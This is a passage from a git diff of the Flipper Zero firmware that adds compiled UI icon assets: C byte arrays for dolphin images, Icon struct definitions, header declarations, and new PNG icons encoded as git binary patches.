,0x68,0xe5,0x20,0x70,0x41,0x80,0x80,0x10,0xc4,0x34,0x48,0x04,0x2a,0x38,0x0d,0x99,0x16,0x02,0x1a,0xd5,0x10,0x6c,0x5e,0x2e,0x0b,0xa1,0x4b,0x0a,0x60,0xc1,0xa7,0x84,0xfc,0x58,0x01,0xb5,0x02,0x82,0xb4,0xc4,0x16,0x22,0xa5,0x06,0x96,0x19,0x20,0x20,0xd7,0x30,0x8c,0x0f,0x08,0x05,0x10,0x68,0xa1,0x44,0x1a,0x98,0x08,0x14,0x11,0x28,0x21,0x91,0x1d,0x8f,0x83,0xfe,0x07,0x1b,0x00,0x34,0x61,0x00,0xd3,0x1d,0x8c,0x7a,0x01,0x7e,0x80,0x56,0x30,0x06,0xb1,0x4a,0x08,0xd4,0xbf,0xc1,0x31,0xc0,0x7f,0xe8,0xf0,0x08,0x3c,0x40,0x1a,0x80,0x04,0x5a,0x8c,0x10,0x80,0x40,0xd7,0x05,0x08,0x36,0xc0,0xe2,0x0d,0xb8,0x30,0x34,0x45,0x82,0x0d,0x72,0x49,0x03,0x5a,0x41,0x55,0xf8,0x7f,0xff,0xe8,0x72,0x06,0xae,0x03,0xf4,0x0c,0x1d,0xf8,0x18,0x60,0x40,0xd2,0x4b,0x9f,0xd0,0x1a,0x35,0x71,0x48,0xc0,0x95,0x42,0x0d,0x4d,0x50,0x70,0x75,0x40,0xd1,0x80,0x83,0x5a,0xa1,0x55,0x00,0x0c,0x05,0xa4,0x20,0xd2,}; +const uint8_t* const _I_iButtonDolphinSuccess_109x60[] = {_I_iButtonDolphinSuccess_109x60_0}; + const uint8_t _I_iButtonDolphinVerySuccess_108x52_0[] = {0x01,0x00,0xc2,0x01,0x00,0x0f,0xe2,0xfe,0x0d,0xb8,0x3e,0x02,0x06,0x0c,0x9f,0x00,0x08,0x61,0x80,0xd9,0x8c,0x00,0x86,0x60,0x0d,0x98,0x30,0x08,0x6a,0x00,0xd9,0x80,0x80,0x87,0x40,0x0c,0x8c,0x00,0x0c,0xa8,0x01,0x12,0x00,0x2d,0x00,0x22,0x70,0x20,0x6b,0xc8,0x02,0x26,0x62,0x88,0x80,0x6c,0xc9,0x24,0x0d,0x9a,0x07,0x17,0xfe,0x1d,0x68,0x40,0x6c,0xe7,0x48,0x04,0x28,0x10,0x34,0xe8,0x10,0xd1,0x11,0xc4,0x01,0xa5,0x04,0x06,0x96,0xa0,0xa6,0x24,0xc2,0x88,0x17,0x88,0x1a,0x7d,0x43,0x78,0x82,0x4a,0x40,0x03,0x20,0xb0,0xff,0x20,0x16,0xa3,0xb2,0x48,0x03,0xe4,0x0d,0x1f,0xfc,0x06,0x3a,0x0d,0x4a,0x00,0x34,0xf8,0x00,0xd1,0x37,0x0f,0x82,0x9e,0x95,0x58,0x17,0x83,0xff,0x81,0x1b,0x0f,0xf1,0xfe,0x71,0xe0,0x69,0x7c,0x3f,0xe0,0x82,0xff,0xcf,0xc0,0x85,0x61,0x80,0x43,0xb0,0x5f,0xa8,0x79,0xdc,0x81,0xa5,0x70,0xc0,0x68,0x3c,0x10,0x1a,0x17,0xd5,0x28,0x42,0xd1,0x8f,0x84,0x46,0x83,0xb0,0x8e,0x40,0x34,0x5f,0xa8,0x38,0x34,0x45,0xa2,0x0d,0x18,0x04,0x9b,0x50,0x03,0x1a,0x14,0x35,0x36,0x5f,0x8f,0xf8,0xb8,0xa4,0x19,0x40,0x18,0xe8,0xa0,0xca,0x22,0xfe,0x7f,0xc4,0x05,0x20,0xa5,0x80,0xc6,0x82,0xcb,0x3f,0xf3,0x44,0xfc,0x12,0x40,0x18,0xe8,0x51,0x82,0x52,0x28,0xfc,0x38,0x0a,0x3e,0x48,0x98,0x6c,0x8f,0x43,0x00,0xe0,0x63,0xe0,0x62,0xe2,0x91,0x90,0x0a,0x02,0x0d,0x2f,0x82,0x50,0x41,0xa3,0x80,0x90,0x41,0x04,0xc3,0x01,0xc0,0x83,0x46,0x71,0x30,0x06,0x95,0x82,0x21,0x02,0x6e,0x88,0x6c,0x43,0x83,0x1f,0x2f,0x88,0x34,0x62,0x00,0xd1,0x15,0x08,0x2c,0x60,0xcc,0x51,0x0f,0x08,0xcc,0x81,0xa2,0x12,0x10,0x68,0xc6,0x3f,0x06,0xc2,0x06,0x8e,0x02,0x16,0x41,0x20,0x10,0xf8,0x01,0x85,0x00,0x19,0x0d,0x82,0x18,0x07,0x20,0x81,0x00,0x0c,0x9c,0x31,0x08,0x42,0x74,0x81,0xab,0x80,0x03,0x0c,0x32,0x11,0x0b,0x06,0xb9,0xc0,0x43,0xa3,0x10,0x8b,0x83,0x5c,0xe0,0x20,0x81,0xc8,0x26,0x49,0x4c,0x40,0x02,0x86,0x0a,0xc5,0x22,0x32,0x50,0x6b,0x93,0x86,0xc0,0x0d,0x19,0x18,0x35,0x8c,0x84,0x79,0x1a,0x84,0x84,0x1a,0xdf,0xc2,0xe0,0x8a,0xc7,0x51,0x22,0x06,0xb5,0x5e,0x3f,0x00,0x77,0x0d,0x60,0x36,0xfa,0xa9,0xd7,0x00,0x08,0x3a,0xc9,0x02,0x48,0xc0,0x05,0x54,0xba,0x98,0x8a,0xa8,0xf1,0x20,0x6a,0x6a,0x3d,0x43,0x61,0x80,0x4a,0x81,0xaf,0x40,0xea,0x8d,0x86,0x01,0x56,0x06,0x93,0x60,0x80,0x05,0xea,0x01,0x94,0xac,0x1b,0x11,0x80,0x19,0x45,0x41,0x44,0x0d,0x58,0x33,0x18,0xa1,0x4f,0xf3,0x06,0x1f,0x01,0x76,0x58,0x00,0xd9,0x83,0x52,0x7c,0x11,0x38,0x51,0x40,0x80,}; const uint8_t* const _I_iButtonDolphinVerySuccess_108x52[] = {_I_iButtonDolphinVerySuccess_108x52_0}; @@ -762,13 +786,16 @@ const Icon I_DolphinFirstStart6_58x54 = {.width=58,.height=54,.frame_count=1,.fr const Icon I_DolphinFirstStart7_61x51 = {.width=61,.height=51,.frame_count=1,.frame_rate=0,.frames=_I_DolphinFirstStart7_61x51}; const Icon I_DolphinFirstStart8_56x51 = {.width=56,.height=51,.frame_count=1,.frame_rate=0,.frames=_I_DolphinFirstStart8_56x51}; const Icon I_DolphinOkay_41x43 = {.width=41,.height=43,.frame_count=1,.frame_rate=0,.frames=_I_DolphinOkay_41x43}; +const Icon I_Flipper_young_80x60 = {.width=80,.height=60,.frame_count=1,.frame_rate=0,.frames=_I_Flipper_young_80x60}; const Icon I_ArrowDownEmpty_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowDownEmpty_14x15}; const Icon I_ArrowDownFilled_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowDownFilled_14x15}; const Icon I_ArrowUpEmpty_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowUpEmpty_14x15}; const Icon I_ArrowUpFilled_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowUpFilled_14x15}; +const Icon I_Back_15x10 = {.width=15,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_Back_15x10}; const Icon I_DolphinReadingSuccess_59x63 = {.width=59,.height=63,.frame_count=1,.frame_rate=0,.frames=_I_DolphinReadingSuccess_59x63}; const Icon I_Down_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Down_25x27}; const Icon I_Down_hvr_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Down_hvr_25x27}; +const Icon I_Fill_marker_7x7 = {.width=7,.height=7,.frame_count=1,.frame_rate=0,.frames=_I_Fill_marker_7x7}; const Icon I_InfraredArrowDown_4x8 = {.width=8,.height=4,.frame_count=1,.frame_rate=0,.frames=_I_InfraredArrowDown_4x8}; const Icon I_InfraredArrowUp_4x8 = {.width=8,.height=4,.frame_count=1,.frame_rate=0,.frames=_I_InfraredArrowUp_4x8}; const Icon I_InfraredLearnShort_128x31 = {.width=128,.height=31,.frame_count=1,.frame_rate=0,.frames=_I_InfraredLearnShort_128x31}; @@ -785,6 +812,7 @@ const Icon I_Vol_down_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0 const Icon I_Vol_down_hvr_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Vol_down_hvr_25x27}; const Icon I_Vol_up_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Vol_up_25x27}; const Icon I_Vol_up_hvr_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Vol_up_hvr_25x27}; +const Icon I_Back3_45x8 = {.width=45,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Back3_45x8}; const Icon I_DoorLeft_70x55 = {.width=70,.height=55,.frame_count=1,.frame_rate=0,.frames=_I_DoorLeft_70x55}; const Icon I_DoorLocked_10x56 = {.width=10,.height=56,.frame_count=1,.frame_rate=0,.frames=_I_DoorLocked_10x56}; const Icon I_DoorRight_70x55 = {.width=70,.height=55,.frame_count=1,.frame_rate=0,.frames=_I_DoorRight_70x55}; @@ -852,6 +880,7 @@ const Icon I_RFIDBigChip_37x36 = {.width=37,.height=36,.frame_count=1,.frame_rat const Icon I_RFIDDolphinReceive_97x61 = {.width=97,.height=61,.frame_count=1,.frame_rate=0,.frames=_I_RFIDDolphinReceive_97x61}; const Icon I_RFIDDolphinSend_97x61 = {.width=97,.height=61,.frame_count=1,.frame_rate=0,.frames=_I_RFIDDolphinSend_97x61}; const Icon I_RFIDDolphinSuccess_108x57 = {.width=108,.height=57,.frame_count=1,.frame_rate=0,.frames=_I_RFIDDolphinSuccess_108x57}; +const Icon I_SDError_43x35 = {.width=43,.height=35,.frame_count=1,.frame_rate=0,.frames=_I_SDError_43x35}; const Icon I_SDQuestion_35x43 = {.width=35,.height=43,.frame_count=1,.frame_rate=0,.frames=_I_SDQuestion_35x43}; const Icon I_Cry_dolph_55x52 = {.width=55,.height=52,.frame_count=1,.frame_rate=0,.frames=_I_Cry_dolph_55x52}; const Icon I_Attention_5x8 = {.width=5,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Attention_5x8}; @@ -868,6 +897,7 @@ const Icon I_PlaceholderL_11x13 = {.width=11,.height=13,.frame_count=1,.frame_ra const Icon I_PlaceholderR_30x13 = {.width=30,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_PlaceholderR_30x13}; const Icon I_SDcardFail_11x8 = {.width=11,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_SDcardFail_11x8}; const Icon I_SDcardMounted_11x8 = {.width=11,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_SDcardMounted_11x8}; +const Icon I_USBConnected_15x8 = {.width=15,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_USBConnected_15x8}; const Icon I_Lock_7x8 = {.width=7,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Lock_7x8}; const Icon I_MHz_25x11 = {.width=25,.height=11,.frame_count=1,.frame_rate=0,.frames=_I_MHz_25x11}; const Icon I_Quest_7x8 = {.width=7,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Quest_7x8}; @@ -879,9 +909,11 @@ const Icon I_Connected_62x31 = {.width=62,.height=31,.frame_count=1,.frame_rate= const Icon I_Drive_112x35 = {.width=112,.height=35,.frame_count=1,.frame_rate=0,.frames=_I_Drive_112x35}; const Icon I_Error_62x31 = {.width=62,.height=31,.frame_count=1,.frame_rate=0,.frames=_I_Error_62x31}; const Icon I_Updating_32x40 = {.width=32,.height=40,.frame_count=1,.frame_rate=0,.frames=_I_Updating_32x40}; +const Icon I_DolphinExcited_64x63 = {.width=64,.height=63,.frame_count=1,.frame_rate=0,.frames=_I_DolphinExcited_64x63}; const Icon I_DolphinMafia_115x62 = {.width=115,.height=62,.frame_count=1,.frame_rate=0,.frames=_I_DolphinMafia_115x62}; const Icon I_DolphinNice_96x59 = {.width=96,.height=59,.frame_count=1,.frame_rate=0,.frames=_I_DolphinNice_96x59}; const Icon I_DolphinWait_61x59 = {.width=61,.height=59,.frame_count=1,.frame_rate=0,.frames=_I_DolphinWait_61x59}; +const Icon I_iButtonDolphinSuccess_109x60 = {.width=109,.height=60,.frame_count=1,.frame_rate=0,.frames=_I_iButtonDolphinSuccess_109x60}; const Icon I_iButtonDolphinVerySuccess_108x52 = {.width=108,.height=52,.frame_count=1,.frame_rate=0,.frames=_I_iButtonDolphinVerySuccess_108x52}; const Icon I_iButtonKey_49x44 = {.width=49,.height=44,.frame_count=1,.frame_rate=0,.frames=_I_iButtonKey_49x44}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 1c08545bf..24357b34e 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -57,13 +57,16 @@ extern const Icon I_DolphinFirstStart6_58x54; extern const Icon I_DolphinFirstStart7_61x51; extern const Icon I_DolphinFirstStart8_56x51; extern const Icon I_DolphinOkay_41x43; +extern const Icon I_Flipper_young_80x60; extern const Icon I_ArrowDownEmpty_14x15; extern const Icon I_ArrowDownFilled_14x15; extern const Icon I_ArrowUpEmpty_14x15; extern const Icon I_ArrowUpFilled_14x15; +extern const Icon I_Back_15x10; extern const Icon I_DolphinReadingSuccess_59x63; extern const Icon I_Down_25x27; extern const Icon I_Down_hvr_25x27; +extern const Icon I_Fill_marker_7x7; extern const Icon I_InfraredArrowDown_4x8; extern const Icon I_InfraredArrowUp_4x8; extern const Icon I_InfraredLearnShort_128x31; @@ -80,6 +83,7 @@ extern const Icon I_Vol_down_25x27; extern const Icon I_Vol_down_hvr_25x27; extern const Icon I_Vol_up_25x27; extern const Icon I_Vol_up_hvr_25x27; +extern const Icon I_Back3_45x8; extern const Icon I_DoorLeft_70x55; extern const Icon I_DoorLocked_10x56; extern const Icon I_DoorRight_70x55; @@ -147,6 +151,7 @@ extern const Icon I_RFIDBigChip_37x36; extern const Icon I_RFIDDolphinReceive_97x61; extern const Icon I_RFIDDolphinSend_97x61; extern const Icon I_RFIDDolphinSuccess_108x57; +extern const Icon I_SDError_43x35; extern const Icon I_SDQuestion_35x43; extern const Icon I_Cry_dolph_55x52; extern const Icon I_Attention_5x8; @@ -163,6 +168,7 @@ extern const Icon I_PlaceholderL_11x13; extern const Icon I_PlaceholderR_30x13; extern const Icon I_SDcardFail_11x8; extern const Icon I_SDcardMounted_11x8; +extern const Icon I_USBConnected_15x8; extern const Icon I_Lock_7x8; extern const Icon I_MHz_25x11; extern const Icon I_Quest_7x8; @@ -174,8 +180,10 @@ extern const Icon I_Connected_62x31; extern const Icon I_Drive_112x35; extern const Icon I_Error_62x31; extern const Icon I_Updating_32x40; +extern const Icon I_DolphinExcited_64x63; extern const Icon I_DolphinMafia_115x62; extern const Icon I_DolphinNice_96x59; extern const Icon I_DolphinWait_61x59; +extern const Icon I_iButtonDolphinSuccess_109x60; extern const Icon I_iButtonDolphinVerySuccess_108x52; extern const Icon I_iButtonKey_49x44; diff --git a/assets/icons/Dolphin/Flipper_young_80x60.png b/assets/icons/Dolphin/Flipper_young_80x60.png new file mode 100644 index 0000000000000000000000000000000000000000..4725aab90846789e5a613fec49a1288c304a526f GIT binary patch literal 643 zcmV-}0(||6P)y0EK41}v%o5clj`G;{qY#enzz>N*Y%{-8Hr0u~UWsGflC>#xD4>MaH0O`yL-B!$) z&p-y05g~vO7i0}2fZHl1Vn$x2Isp*WETqOCt_pw@_qPT@0tvJah#W))7fyj)fys~$ z#BkOV&!Q|dH%kk3+eJCd39wDNRmh(s3ZN`tr@(L${lhMeq73wNNK4k0&!3z43}l{S z=6!Q^gyjiX;iAkg@%oH6cEco=K{>%0g=)?}q~2k1)5w?#$TQj?0#i`t<94WT5Ge;7 zS$dbNSBBXBeg@A8Yp3f4fx~NR;Z1sz5wy!a6%|}on8rQNP2_#>#L;fddQzz^FO(iv zx<-*m3kox@m-6R{&^4Co9{BAMA9xVwjgp%>Z*%50)l0P_c*qs-6B*W*yg<(brxxX0 z4n#Lc6Y{<@xWzs5LPkWflglQk=*y1y;CEXI>uH^;jTWoa?_$g?K)&yUm6Cf=23+c) zb_RAUS?ATjJ#o4h=@eKHA<5zu(~@v? zvkcoEpM}_2Douk(lSZsWOu(mr3rHK+sxT%@S*g+#UKE~Q-Zvvr_$4A->glv3*StC$ z@4@50A46H>z_)<=cc-_3pD_2QWmgp*#{RY9^d03`;hTOR{3`Mq^C9E>PXb>7{{002 d{K3Cd;D3fJQb|_1G&%qP002ovPDHLkV1f?0B#Zz6 literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/Back_15x10.png b/assets/icons/Infrared/Back_15x10.png new file mode 100644 index 0000000000000000000000000000000000000000..fe9ac5aadfb8653053291fdca4c32010150ac3d3 GIT binary patch literal 3600 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 Q%z^^e7Ix-krk+v%1Ac@~CIA2c literal 0 HcmV?d00001 diff --git a/assets/icons/Interface/Back3_45x8.png b/assets/icons/Interface/Back3_45x8.png new file mode 100644 index 0000000000000000000000000000000000000000..6cb945f6297dda14d46e8bb2e77496a572c600fc GIT binary patch literal 3630 zcmaJ@c{o&U8$Y%}*>{pL;#HP0mNJvEFQY8e*hVGB7z}1<3}z%Lk&-Q2)@&s;v?-D; zDP)Txq3k3ymXIuc0hkA(-S{=jv4ZvO$7Bzku6~pf=E+LYQbZWfN!;j2~8O>9z^f9>-b3E4Rr2bch!Q#hf zLs@fk>+jdAr?RIuIvAZo5h9{0Ns|SB01O>v0Pj;sutzqw)I@MfAcwg@!jr8HK0Gf0 zV4jOX52xKX+TgfH1~>sqkLEtnrjehKRVWn~0F(p_gGHxyaU`OFW=+RtaiCcmxbN`D ziyuef!2aus^wU5*I8Q|e`9<9z<-vHz> zjlr7S^<^9pu1~bBI3sF!fZ%vcqL8r%5RqZ3-Ufj5IRUf1V(nZY8?HR9?z-U;cS=+x zk^`u3O>Iv<+N~pAnfgXHWO06YRB^N+;DIStYQL~I-#9osJxfUpImKnuu^Rwn*Sel> z=^G_ZO^%ODdQSzgzP&8i@}DPz4HXxLwyLjkas$G4oveQMiHTk=N)yNZpgRAO6F|Q+ z;5)SDrZd2ocbxxC=vpj8f5UihZa%8nKz-`_Q=`{1Oy#FYii$Kyuw$g0UJ0(4Jm21_0HcrBB{Yk+ONk3jpSM=MUUB*}40|Yef0*yraQ(X_VDLRrh9b4YLprxX zx;mPV+oYLS466u_5%G-g19$LBWyEuXu}Ix(5k;Ws81ZA^m(A27&Jt6bq z*U`^GG~n!&cw9smRM7kC2kgnKmn=LkV`NpDBykfMJ?8{HoIK`Gu!LNFE|$f+k25wx zY?k-bMd5~k3yFzV7#ob)ZRJ^|a?vVY7rw}g(1yRj$+zvxl|x0>8tIF%p?+9K8^D}j9`M& zlPVI0678?8x4amy5Qo2v8MWan*oQ7k5j~=ZH=5wSc|+SYBk#_!_LAIpymw;YH;!8q z^MX+jhf5`5x_Y$TY2r?_=a%i}W|?-Tt3=cCNv}my;i=B4 z;i*%19GwE4jCvS%b~)a461scJ`RpxAr$?x<625nmcY8|Yot~8(EbBmrpc7D?$J`5R z-8V1%zzIBzj)Mix5aDqhLNDN4T5#xGz@d#TP`GwS}=Z9PvsT${BC=2@2uhMci+ 